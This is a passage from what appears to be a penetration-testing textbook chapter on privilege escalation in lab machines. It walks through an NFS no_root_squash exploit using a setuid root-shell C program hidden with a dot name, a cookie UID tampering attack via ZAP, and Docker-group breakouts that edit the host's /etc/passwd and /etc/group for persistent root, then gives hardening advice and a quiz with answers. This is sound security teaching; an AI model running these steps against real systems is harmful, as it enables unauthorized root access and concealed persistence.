    # Example for NFSv4:
    # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt)
    # /srv/nfs4/homes gss/krb5i(rw,sync)
    #
    / *(rw,sync,no_root_squash,no_subtree_check)
    user@metasploitable:/etc$

In the / *(rw,sync,no_root_squash,no_subtree_check) line, the / means that you’re sharing the entire root filesystem, and the rw means that this filesystem is shared with both read and write privileges. The no_root_squash means that you can set the SUID permission on files in this filesystem, and then run them as the root user. Having said that, if you access the shared filesystem as an unprivileged user, you’ll still only be able to write to directories that have the proper write permission for your user account.

  1. To make this exploit work, you’ll need to create a user account on your Kali machine that has the same UID as the account that you’re using on the victim machine. So, view the UID of the user account on the Metasploitable2 machine, like this:
    user@metasploitable:~$ id
    uid=1001(user) gid=1001(user) groups=1001(user)
    user@metasploitable:~$

You see that the UID of the user account is 1001.

  1. Now, go back to the terminal window for your kali account. View the /etc/passwd file on your Kali machine to see what your current UID is, and to see if the 1001 UID is available:
    ┌──(kali㉿kali)-[~]
    └─$ cat /etc/passwd
    . . .
    . . .
    kali:x:1000:1000:,,,:/home/kali:/usr/bin/zsh
    pipewire:x:986:112:system user for pipewire:/nonexistent:/usr/sbin/nologin

Very good. As you can see, the UID of your kali account is 1000, and there’s no normal user account with any UID higher than 1000. That means that the next user account you create will have 1001 as its UID.

  1. On your Kali machine, create the user user account, like so:
    ┌──(kali㉿kali)-[~]
    └─$ sudo adduser user

Use any password that you like, and accept the defaults for everything else.

  1. Verify that the user account was created with the proper UID by viewing the last line of the /etc/passwd file:
    ──(kali㉿kali)-[~]
    └─$ cat /etc/passwd
    . . .
    . . .
    user:x:1001:1001:,,,:/home/user:/bin/bash
  2. The new user will require sudo privileges to mount the NFS filesystem. So, add user to the sudo group, like so:
    ┌──(kali㉿kali)-[~]
    └─$ sudo usermod -a -G sudo user
    If the user account on the target machine has a UID number that’s higher than the next available UID number on your Kali machine, you’ll need to use the old-fashioned useradd command instead of the adduser command to create the account on your Kali machine. Let’s say that the account that you’ve logged into on the target machine has a UID of 1014. Your command to create a matching account on the Kali machine would look like this:
    ┌──(kali㉿kali)-[~]
    └─$ sudo useradd -d /home/loki -m -s /bin/zsh -u 1014 -G sudo loki
    You see that I’ve used the -u 1014 option to set the UID to 1014, and that I’ve used the -G sudo option to add the new user to the sudo group at the same time that I created the account. Note that it doesn’t matter if the account name on the Kali machine matches the account name on the target machine. All that matters is that the UID numbers match. Also, you can use either zsh or bash for the user’s login shell. (In this case, I’m using zsh, which is the default login shell for Kali.)
  3. Log into the new account, like so:
    ┌──(kali㉿kali)-[~]
    └─$ su - user
    Password:

Cool, you’re now ready to mount the filesystem.

  1. Create a mountpoint directory within the /tmp directory, like this:
    ┌──(user㉿kali)-[~]
    └─$ mkdir /tmp/attacker
  2. Mount the NFS filesystem, like this:
    ┌──(user㉿kali)-[~]
    └─$ sudo mount -o rw 192.168.56.102:/ /tmp/attacker
  3. Now, cd into the user user’s home directory:
    ┌──(user㉿kali)-[~]
    └─$ cd /tmp/attacker/home/user
    ┌──(user㉿kali)-[/tmp/attacker/home/user]
    └─$

You’ve finally gotten to the cool part. This is where you’ll compile a C language program that will give you a root user shell. (I didn’t tell you that before because I didn’t want to scare you. Don’t fret, though, because it’s easy.)

  1. While still within the user user’s home directory, use your favorite text editor to create the nfs.c file, with the following contents:
    #include <unistd.h>
    #include <stdlib.h>
    int main()
    { setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
    }
  2. In order to ensure that the program will run after you compile it, you’ll need to go back to the terminal window for the Metasploitable2 machine, and use the tools on the Metasploitable2 machine to compile the program. To be a bit more stealthy, compile the file as a hidden file. (In other words, begin the name of the executable file with a dot.) Do this to compile it:
    user@metasploitable:~$ gcc nfs.c -o .nfs -w
    user@metasploitable:~$
  3. Verify that the file did get created:
    user@metasploitable:~$ ls -la .nfs
    -rwxr-xr-x 1 user user 6566 2025-09-29 17:09 .nfs
    user@metasploitable:~$
  4. The executable permission is already set. But, you still need to change its ownership to the root user and add the SUID permission. You’ll need sudo privileges to do that, which means that you’ll have to go back to the terminal window for the user account on your Kali machine.
    ┌──(user㉿kali)-[/tmp/attacker/home/user]
    └─$ sudo chown root: .nfs
    [sudo] password for user:
    ┌──(user㉿kali)-[/tmp/attacker/home/user]
    └─$ sudo chmod u+s .nfs
  5. Verify that the settings and ownership are correct:
    ┌──(user㉿kali)-[/tmp/attacker/home/user]
    └─$ ls -l .nfs
    -rwsrwxr-x 1 root root 16056 Sep 29 16:09 .nfs

To clarify, you still don’t have any root user permissions on the Metasploitable2 machine. Instead, you’ve used the sudo permissions of your user account on the Kali machine to perform these privileged commands.

  1. Delete the nfs.c file, so that legitimate users of this account won’t see it:
    ┌──(user㉿kali)-[/tmp/attacker/home/user]
    └─$ rm nfs.c

And now, the moment of truth. Go to the terminal window for the Metasploitable2 machine, and invoke the new .nfs program. It should look something like this:

user@metasploitable:~$ ./.nfs
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=1001(user)
root@metasploitable:~#

So, how cool is that? You’ve now planted malware on the victim’s machine and have used it to obtain a root user shell.

And finally, you now have a few other recommendations to add to the report for your client.

  • Never export the entire / filesystem of your NFS server. Instead, just export certain specified directories.
  • When running NFS on an internal network, always configure the NFS server so that only specified client machines on the internal network can access the shared filesystems.
  • Don’t use NFS to share filesystems across the Internet, unless you have a good understanding of how to properly secure your NFS server.
  • Don’t mount your NFS filesystems with the no_root_squash option. This will prevent attackers from adding the SUID permission to executable files.
  • Always remove compiler tools from your servers. In this case, the .nfs program wouldn’t run on the Metasploitable2 machine if I used the gcc compiler on the Kali machine to compile it. The only way I could make this demo work was to compile the .nfs program with the compiler tools on the Metasploitable2 machine. Having said that, this might not always make a difference. For example, if I compile the .nfs program on my Kali machine, it will run just fine on my Ubuntu Server machine. That’s because both the Kali machine and the Ubuntu machine are running 64-bit Linux distros. But, the Metasploitable2 machine is running a 32-bit Linux distro. Still though, it’s usually good to remove compiler tools from servers, just to be safe.

Next, I’ll show you how to escalate privileges in a web application.

Escalating user privileges on a web application

Section titled “Escalating user privileges on a web application”

This method won’t give you root user access over the target machine’s operating system, but it will grant administrative privileges to an unprivileged user of a web application. This might be all you’ll need to access sensitive data, and it might help you find a way to compromise the entire server. To do this, you’ll use an attack proxy.

An attack proxy is a testing tool that intercepts network traffic between a web server and a web browser. This allows you to not only examine the traffic, but also to manipulate certain portions of that traffic in order to make the web application do things for you that it shouldn’t do. In our case, we’ll use it to trick the Mutillidae app into logging us in as the admin user.

The Zed Attack Proxy, which you’ll also see referred to as either ZAP or zaproxy, is a Free Open Source Software tool that you can install on Kali Linux. It’s in the Kali Linux repository, so you can install it with these two simple commands:

┌──(kali㉿kali)-[~]
└─$ sudo apt update
┌──(kali㉿kali)-[~]
└─$ sudo apt install zaproxy

Cool. Now, let’s use it to attack Mutillidae on the Metasploitable2 machine.

Note that there’s no need for you to open a web browser on the Kali machine, because Zed Attack Proxy will do that for you.

  1. On the Kali machine, open Zed Attack Proxy. You’ll find it under 01-Reconnaissance/Web Vulnerability Scanning/zaproxy on the Kali start menu.
  2. When the Do you want to persist the ZAP session? dialog box comes up, leave it set to the No, I do not want to persist with this session at this moment in time setting, and click the Start button, as you see here:

Figure 7.6 – Leave this set to “No,” and click the Start button

Figure 7.6 – Leave this set to “No,” and click the Start button

  1. On the right-hand side, in the Welcome to ZAP box, click the Manual Explore button. On the next window, enter the URL to the Mutillidae app into the URL to Explore box, and then click the Launch Browser button, as shown here:

Figure 7.7 – Launching the Firefox browser from ZAP

Figure 7.7 – Launching the Firefox browser from ZAP

  1. On Firefox, open the OWASP Top 10/A3 – Broken Authentication and Session Management/Cookies page, as shown here:

Figure 7.8 – Go to the Cookies page

Figure 7.8 – Go to the Cookies page

You’ll recall that in Chapter 5, you found an indexable directory that contains a list of usernames and passwords under the Mutillidae app page, which looks like this:

Figure 7.9 – The indexable passwords directory

Figure 7.9 – The indexable passwords directory

The list in the accounts.txt file looks like this:

┌──(kali㉿kali)-[~]
└─$ cat accounts.txt
'admin', 'adminpass', 'Monkey!!!
'adrian', 'somepassword', 'Zombie Films Rock!!!
'john', 'monkey', 'I like the smell of confunk
'ed', 'pentest', 'Commandline KungFu anyone?'

For now, ignore the fact that the admin user account and its password are already here. Instead, you’ll log into Mutillidae with the unprivileged john account.

  1. Click the Login/Register button at the top of the screen, and then log in as john, using monkey as the password, like so:

Figure 7.10 – Logging in to Mutillidae

Figure 7.10 – Logging in to Mutillidae

  1. Click the Login button to go to the next page.
  2. On the left-hand side of the Zed Attack Proxy screen, expand the mutillidae item, and then click on the Get:index.php item:

Figure 7.11 – Click on the GET:index.php item

Figure 7.11 – Click on the GET:index.php item

  1. On the right-hand side of the Zed Attack Proxy screen, click the Request tab at the top. Note that on the Cookie: line, the UID for the john account is 3.

Figure 7.12 – Note the UID for john

Figure 7.12 – Note the UID for john

  1. Right-click anywhere in this window to bring up a pop-up menu. Then, click the Open/Resend with Request Editor item.

Figure 7.13 – Open the Request Editor

Figure 7.13 – Open the Request Editor

  1. In the Request Editor, escalate user john to the admin user by changing his UID number to 1. However, don’t click the Send button just yet. (I’ll explain this UID number in just a bit.)

Figure 7.14 – Change the UID number for john to 1

Figure 7.14 – Change the UID number for john to 1

  1. Leave the Request Editor window open, and go back to Firefox. Click the Logout button at the top of the screen. This will take you back to the Login page.
  2. On the Request Editor screen, click the Send button.
  3. On Firefox, reload the Login page. You should now see this:

Figure 7.15 – Reload the Login page, and you’ll be logged in as the admin user.

Figure 7.15 – Reload the Login page, and you’ll be logged in as the admin user.

Of course, you can’t really do anything malicious with this admin account, because the Mutillidae app has no real functionality. But that’s okay. In real life, you should be able to do some evil things after logging in as an administrative user.

Now, I know you’re wondering how I came up with the UID number for the admin user. Well, there are a few ways. You could have already obtained a list of users and their UID numbers by performing some sort of enumeration attack, such as an SQL Injection attack, as I showed you in Chapter 5. Or, you could just do as I did here, and make an educated guess. That’s because a common convention among web developers is to use UID 1 for the administrative user. So, if you begin the attack by changing the UID to 1, you should succeed in escalating your user privileges.

I should also point out that in this case, you didn’t need to obtain the password of any existing user. That’s because Mutillidae allows you to create an account for yourself. First, click on the Please register here link on the login page:

Figure 7.16 – Click the link to create your own account

Figure 7.16 – Click the link to create your own account

Then, fill out your user information:

Figure 7.17 – Creating your own Mutillidae account

Figure 7.17 – Creating your own Mutillidae account

Now, instead of jumping through hoops to harvest existing login credentials, you can just use your own. Of course, you’ll still need to know how to harvest other users’ credentials, because not every web app that you’ll try to hack will allow you to create your own account.

If you are able to harvest other users’ credentials for a web application, feel free to use the credentials to try logging into the operating system. It won’t work in this case, because the Mutillidae credentials haven’t been reused for the operating system credentials. But in real life, it won’t hurt to try.

So, what would you recommend to your penetration testing clients to help prevent this? Well, this mainly comes down to the web application developers. For example, you could recommend that the developers have the applications create cookies with the HttpOnly and Secure flags set, and with a SameSite attribute set. Web server administrators could also help out by either installing a Web Application Firewall (WAF), or by using a cloud-based WAF.

A WAF can help prevent many types of attacks against web applications. There are three ways to configure them, which are:

  • Network-based: These are normally sold as a hardware appliance that can protect an entire network.
  • Host-based: A host-based WAF, such as ModSecurity, is installed on the web server.
  • Cloud-based: A cloud-based WAF, such as Cloudflare, can make things much easier for a busy web server administrator.

Detailed explanations of WAFs and secure coding methods are beyond the scope of this book. However, if you would like to learn more, references are available in the Further reading section.

Next, let’s look at a scenario that we can’t run on the Metasploitable2 machine.

Containerization technologies have been around for a long time, but they didn’t become popular until Docker came onto the scene. If you’re not familiar with containers, think of them as really stripped-down virtual machines. Here are the main differences between the two:

  • A virtual machine is an entire operating system running in a virtual environment.
  • A container uses the ecosystem of a guest operating system, while using the kernel of the host machine.
  • You can run a container within a virtual machine, but you can’t run a virtual machine within another virtual machine.

Containers are popular with both DevOps people and data center administrators. They make it very easy to deploy customized applications, and you can have lots of them running at once on a Linux server. Unfortunately, they can also be a huge security headache if they’re not properly configured. That’s because it’s a trivial matter for an unprivileged user to break out of a Docker container and gain full root user access over the host machine. There are two ways to exploit this. Let’s look at the first one.

You’ll be using the same Ubuntu Server virtual machine that you used in Chapter 5, with the mrtux account and its AndreaSterbini password. For Method 1, you’ll initially need to log into Mr. Tux’s account at the local Ubuntu terminal, because once Mr. Tux has achieved root user status, he won’t be able to log in remotely.

On the Ubuntu Server virtual machine, perform the following steps:

  1. Before booting up the Ubuntu Server virtual machine, open the Settings menu for it on VirtualBox, and change the Network setting to Bridged Adapter. This is because you’ll need to access the Internet in order to install the software packages that you’ll need, and you’ll also need to be able to remotely log in from your Kali virtual machine. (You can’t access the Internet with the Host-only Adapter, and you can’t remotely log in with the default NAT settings.)
  2. Boot up the Ubuntu Server virtual machine, and log in to your own user account at the local virtual machine terminal.
  3. Install Docker by doing:
    donnie@ubuntu25-04:~$ sudo apt update
    donnie@ubuntu25-04:~$ sudo apt install docker.io
  4. Add the mrtux account to the docker group, so that he’ll be able to run docker commands without sudo privileges. Then, verify that he did get added to the docker group. It should all look like this:
    donnie@ubuntu25-04:~$ sudo usermod -a -G docker mrtux
    donnie@ubuntu25-04:~$ groups mrtux
    mrtux : mrtux users docker
    donnie@ubuntu25-04:~$
  5. Log out of your own account and log into the mrtux account on the Ubuntu server at the local virtual machine terminal.
  6. As Mr. Tux, create a Debian container with an interactive bash session, like this:
    mrtux@ubuntu25-04:~$ docker run -v /:/homeroot -it debian bash
    root@a405c282bc36:/#

You’re now at a root user command prompt, but you currently only have root user privileges for the Debian container. You still haven’t achieved root privileges for the host machine. However, the -v /:/homeroot part of the docker command means that you have mounted the root (/) partition of the Ubuntu Server machine into the /homeroot mount point directory of the Debian container. Because you have root user privileges for the container, you have root user read and write privileges for the entire host machine filesystem that’s mounted in this container.

  1. Next, install the vim text editor into the Debian container:
    root@a405c282bc36:/# apt update
    root@a405c282bc36:/# apt install vim
  2. Now, here’s the good part. Mr. Tux is going to give himself full root user privileges on the host machine by editing the /etc/passwd file on the host machine. As Mr. Tux, open the /etc/passwd file in the vim text editor like this:
    root@a405c282bc36:/# vim /homeroot/etc/passwd
  3. Scroll down to the line for Mr. Tux’s account, which should be the very last line. It should look something like this:
    mrtux:x:1001:1001:Mr. Tux:/home/mrtux:/bin/bash

The third and fourth fields of this line are Mr. Tux’s User ID (UID) and Group ID (GID), which both have 1001 as their numerical values.

  1. Enter vim ‘s editing mode by pressing the i key. Change both the UID number and the GID number to 0, which will give Mr. Tux full root privileges. The line should now look like this:
    mrtux:x:0:0:Mr. Tux:/home/mrtux:/bin/bash
  2. Press the esc key to exit editing mode, and then save the file and exit vim by typing:
    :x

Type exit twice to first exit the Debian container, and then to log out of the Ubuntu machine.

  1. Log back into the mrtux account on the Ubuntu machine. You should now see this:
    root@ubuntu25-04:~#

Yes, Mr. Tux is now the root user. But, there’s a problem with this method. That is, the attacker has to have physical access to the victim machine in order to make it work. That’s because, by default, the SSH server on Ubuntu is set up to reject remote login attempts for the root user. Of course, Mr. Tux can edit the SSH configuration from within the Docker container, the same as he did with the /etc/passwd file. But, he can’t reload the SSH configuration from within the container because the host machine’s systemctl utility doesn’t work from within a container. Sure, he could edit and reload the SSH configuration after he logs back in as the root user, but that still requires that he initially have physical access to the machine. However, most attackers probably won’t have physical access to the victim machines, which means that they’ll need to perform the entire attack remotely.

  1. Before I show you the full remote method, and while you’re still logged in as Mr. Tux, edit the /etc/passwd file, changing it back to how it was originally. It should now look something like this:
    mrtux:x:1001:1001:Mr. Tux:/home/mrtux:/bin/bash

Log out of the mrtux account on the Ubuntu machine. You’re now set up to try the next method.

Method 2 – Add the user to an administrator group

Section titled “Method 2 – Add the user to an administrator group”

An attacker can perform this attack fully remotely, without having physical access to the victim machine. (And of course, we’re assuming that the attacker has already obtained Mr. Tux’s password.)

  1. Remotely log into the mrtux account of the Ubuntu Server machine from either a terminal on the Kali machine or a terminal on your host machine. Run a sudo -l command to verify that Mr. Tux has no sudo privileges.
  2. As Mr. Tux, create a Debian container and install a text editor by repeating steps 6 and 7 of the Method 1 procedure. (Since you’re creating a new container every time you run this command, the text editor installation isn’t persistent.)
  3. Now, as Mr. Tux, open the /etc/group file of the host machine in vim, like so:
    root@0b9f1129cfea:/# vim /homeroot/etc/group
  4. On modern Debian and Ubuntu-type systems, membership in the sudo group is what grants full sudo privileges to users. Look for the line that looks like this, except with your own username instead of mine:
    sudo:x:27:donnie
  5. Press the i key to enter editing mode, and then add ,mrtux to the end of the line. It should now look like this:
    sudo:x:27:donnie,mrtux
  6. Press the esc key to exit editing mode, and then type :x to save the file and exit vim.
  7. As Mr. Tux, type exit to shut down the Docker container.
  8. To activate Mr. Tux’s new group membership, type exit again to log out of his account, and then log back into his account. As Mr. Tux, do a sudo -l command to verify that he now has sudo privileges. Here’s what you should see:
    mrtux@ubuntu25-04:~$ sudo -l
    [sudo] password for mrtux:
    Matching Defaults entries for mrtux on ubuntu25-04:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User mrtux may run the following commands on ubuntu25-04:
    (ALL : ALL) ALL
    mrtux@ubuntu25-04:~$

Yes indeed, Mr. Tux now has full sudo privileges, for both local and remote access. An additional benefit of this method is that an edit to the /etc/group file won’t be quite as glaringly obvious as having an additional UID 0 account in the /etc/passwd file. On top of all that, you’ve achieved persistent privileged access to this machine.

Preventing attacks with insecure containers

Section titled “Preventing attacks with insecure containers”

Now, let’s say that you’re doing a real penetration test, and you’ve just used a Docker container to gain root user access to the host machine. You’ll want to know what to recommend to your client for preventing this from happening during a malicious attack. Here are my suggestions:

  • You could recommend setting up Docker in non- root mode, so that containers will no longer provide root user access to the host filesystem. The main problem with this is that it will make it more difficult to set up containers with networking capabilities. But, it could be an option if you know that your users will never need to set up networked containers, such as when they just need a single container to run a simple application. (Showing you how to do this is beyond the scope of this topic. Please consult the Docker documentation to see how to do it.)
  • You can also use podman, which runs in non-root mode by default, instead of Docker. Red Hat-type systems use podman by default, and it’s also available in the repositories of other Linux distros, including Ubuntu. Unfortunately, setting up networked containers with podman is just as tricky as setting them up in non- root mode Docker.
  • The next recommendation is to use SELinux, which is a Mandatory Access Control (MAC) system that will prevent a container from writing to the host machine’s filesystem. The coolest part about this is that SELinux provides this protection by default, so you don’t have to do anything special with it, other than to ensure that it’s in enforcing mode. SELinux comes installed and enabled by default on all Red Hat-type systems and SUSE 16 systems, which include:
    • Rocky Linux
      • AlmaLinux
      • Fedora Linux
      • Oracle Enterprise Linux
      • CentOS Stream Linux
      • Red Hat Enterprise Linux
      • SUSE Enterprise 16 Linux
      • openSUSE 16 Linux

SELinux can also be installed on most non-Red Hat and non-SUSE 16 operating systems, including Ubuntu and Debian. If your client isn’t running a Red Hat-type system or SUSE 16-type system, recommend installing SELinux.

Installing and configuring SELinux is beyond the scope of this topic. However, you can read more about it in my (Donnie’s) Mastering Linux Security and Hardening book.

Also, Ubuntu and older SUSE systems run AppArmor, another type of Mandatory Access Control system, instead of SELinux. (Indeed, AppArmor is running on this Ubuntu Server virtual machine.) Sadly though, AppArmor doesn’t offer the same level of protection as SELinux, and does nothing to prevent this type of attack.

If none of the preceding suggestions is feasible, you could recommend that instead of adding Docker users to the docker group, just grant them sudo privileges for running only certain secure containers. Unfortunately, this won’t work well if Docker users need to constantly run or create other containers.

Every time you perform a penetration test, always take careful notes about any changes that you’ve made to your client’s machines. Once you’ve finished the test, you’ll want to:

  • Reverse any configuration changes that you’ve made
  • Delete any user accounts that you’ve created
  • Delete any cron jobs that you’ve created
  • Delete any files that you’ve uploaded

In other words, always set the client’s computers back to the state in which you found them. I mean, it’s bad enough that you’ve found vulnerabilities on your client’s machines. Leaving your exploits behind so that attackers can take advantage of them would make matters even worse. And of course, always note the vulnerabilities that you’ve found in the report that you’ll create for your client, and provide recommendations about how to fix them.

We’ve covered a lot of stuff in this chapter that is both cool and a bit scary. We began with a brief discussion of the different types of privilege escalation attacks. Then, I showed you some demos of the different types of attacks, which included sudo configuration errors and bad SUID permissions. After that, I showed you how to exploit a bad Network Filesystem configuration to create your own bad SUID file on a remote server. I then showed you how to exploit a web application vulnerability to gain admin privileges for an unprivileged user account, and then I wrapped things up by showing you how to exploit unsecured Docker containers. Along the way, I showed you ways to make your administrative access persistent, so that you won’t have to jump through hacking hoops every time you want to access someone else’s server.

I should also mention that even though the Metasploitable2 virtual machine is very old, the techniques that work on it will also work on a modern Linux or Unix distro that’s configured improperly. That’s evidenced by the fact that these exploits do still happen in real life.

In the next chapter, we’ll delve into the mysteries of using Metasploit to help automate your hacking. I’ll see you there.

  1. What does the SUID permission do?
    1. Setting SUID on an executable file always grants root user permissions to whoever accesses that file. 2. Setting SUID on an executable file allows anyone who accesses that file to have the same permissions as the user who owns that file. 3. Setting SUID on an executable file prevents unauthorized users from accessing it. 4. Setting SUID on an executable file has no effect.
  2. You’ve just found the password for an unprivileged user account and have logged into it. Which of the following commands will tell you if the account has any sudo privileges?
    1. sudo -a 2. visudo 3. su - 4. sudo -l
  3. Which of the following is the most effective way to prevent an unprivileged user from using a Docker container to edit configuration files on the host machine’s filesystem?
    1. Add the unprivileged user to the docker group. 2. Create an AppArmor profile for the docker daemon. 3. Create a special SELinux policy for the docker daemon. 4. Just run Docker on a machine that has SELinux in enforcing mode.
  4. Which of the following is true about exporting NFS filesystems?
    1. Always use the no_root_squash option to prevent attackers from running malicious programs. 2. To prevent the SUID permission from being effective, don’t use the no_root_squash option. 3. For users’ convenience, always export the entire / filesystem. 4. For users’ convenience, always set the SUID permission on executable files.
  5. What are the three types of Web Application Firewall? (Choose 3.)
    1. Web-based 2. Network-based 3. Client-based 4. Cloud-based 5. Host-based
  1. b
  2. d
  3. d
  4. b
  5. b, d, and e